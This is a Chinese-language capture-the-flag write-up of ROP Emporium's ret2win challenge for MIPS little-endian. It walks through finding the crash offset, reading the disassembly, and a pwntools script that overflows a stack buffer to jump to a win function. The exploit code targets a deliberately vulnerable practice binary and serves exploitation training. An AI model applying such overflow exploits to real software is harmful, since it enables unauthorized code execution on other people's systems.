ret2win_mipsel
依赖:
sudo apt install qemu-mipsel-static gcc-mipsel-linux-gnu
信息收集
$ file ret2win_mipsel
ret2win_mipsel: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, BuildID[sha1]=cef0d672b72ee9c102ff2202072581aabafcb561, not stripped
$ checksec ret2win_mipsel
[*] '/home/starr/Documents/CProject/pwn/ret2win_mipsel'
Arch: mips64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
这里checksec显示是64位程序,应该错了,,
黑盒测试
$ ulimit -c unlimited && sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic 200 > cyclic.txt
$ qemu-mipsel-static ./ret2win_mipsel < cyclic.txt
ret2win by ROP Emporium
MIPS
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
$ gdb-multiarch ./ret2win_mipsel qemu_ret2win_mipsel_20220506-203156_19548.core
...
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x6161616a in ?? ()
$ cyclic -l 0x6161616a
36
崩溃偏移位于36字节。
反汇编
$ mipsel-linux-gnu-objdump -d ret2win_mipsel
ret2win_mipsel: file format elf32-tradlittlemips
...
00400830 <main>:
400830: 27bdffe0 addiu sp,sp,-32
400834: afbf001c sw ra,28(sp)
400838: afbe0018 sw s8,24(sp)
40083c: 03a0f025 move s8,sp
4008a8: 00000000 nop
4008ac: 8fdc0010 lw gp,16(s8)
4008b0: 0c10023d jal 4008f4 <pwnme>
4008b4: 00000000 nop
...
004008f4 <pwnme>:
...
00400a00 <ret2win>:
...
objdump反汇编效果不好,直接用ida看下pwnme:
.text:004008F4 var_28 = -0x28
.text:004008F4 var_20_buf = -0x20
.text:004008F4 var_s0 = 0
.text:004008F4 var_s4 = 4
.text:004008F4
.text:004008F4 addiu $sp, -0x40
.text:004008F8 sw $ra, 0x38+var_s4($sp)
.text:004008FC sw $fp, 0x38+var_s0($sp)
.text:00400900 move $fp, $sp
.text:00400904 li $gp, 0x419010
.text:0040090C sw $gp, 0x38+var_28($sp)
.text:00400910 li $a2, 0x20 # ' ' # n
.text:00400914 move $a1, $zero # c
.text:00400918 addiu $v0, $fp, 0x38+var_20_buf
.text:0040091C move $a0, $v0 # s
.text:00400920 la $v0, memset
...
.text:004009A0 lw $gp, 0x38+var_28($fp)
.text:004009A4 li $a2, 0x38 # '8' # nbytes
.text:004009A8 addiu $v0, $fp, 0x38+var_20_buf
.text:004009AC move $a1, $v0 # buf
.text:004009B0 move $a0, $zero # fd
.text:004009B4 la $v0, read
.text:004009B8 move $t9, $v0
.text:004009BC jalr $t9 ; read # read(0, buf, 0x38)
...
.text:004009EC lw $ra, 0x38+var_s4($sp)
.text:004009F0 lw $fp, 0x38+var_s0($sp)
.text:004009F4 addiu $sp, 0x40
.text:004009F8 jr $ra
要写入的缓冲区位于var_20_buf,ra保存在var_s4,距离0x24==36
字节,与测试结果一致。
需要注意,这里$gp保存在低于buf的var_28,所以不会被覆盖。
Exp
from pwn import *
context.clear()
# context.log_level = 'debug'
program = "ret2win_mipsel"
# context.binary(program) # bug...
context.arch = "mips"
context.endian = "little"
context.bits = 32
def getio(program):
io = process(program)
# io = gdb.debug([program], "b main")
return io;
io = getio(program)
# p = gdb.debug(program, "b main")
# pause()
pRet2Win = 0x00400a00;
payload = bytes("A"*36)
payload += p32(pRet2Win)
io.recvuntil(">")
io.sendline(payload)
io.interactive()
不过因为程序找不到main函数返回地址,程序会死循环执行ret2win —_—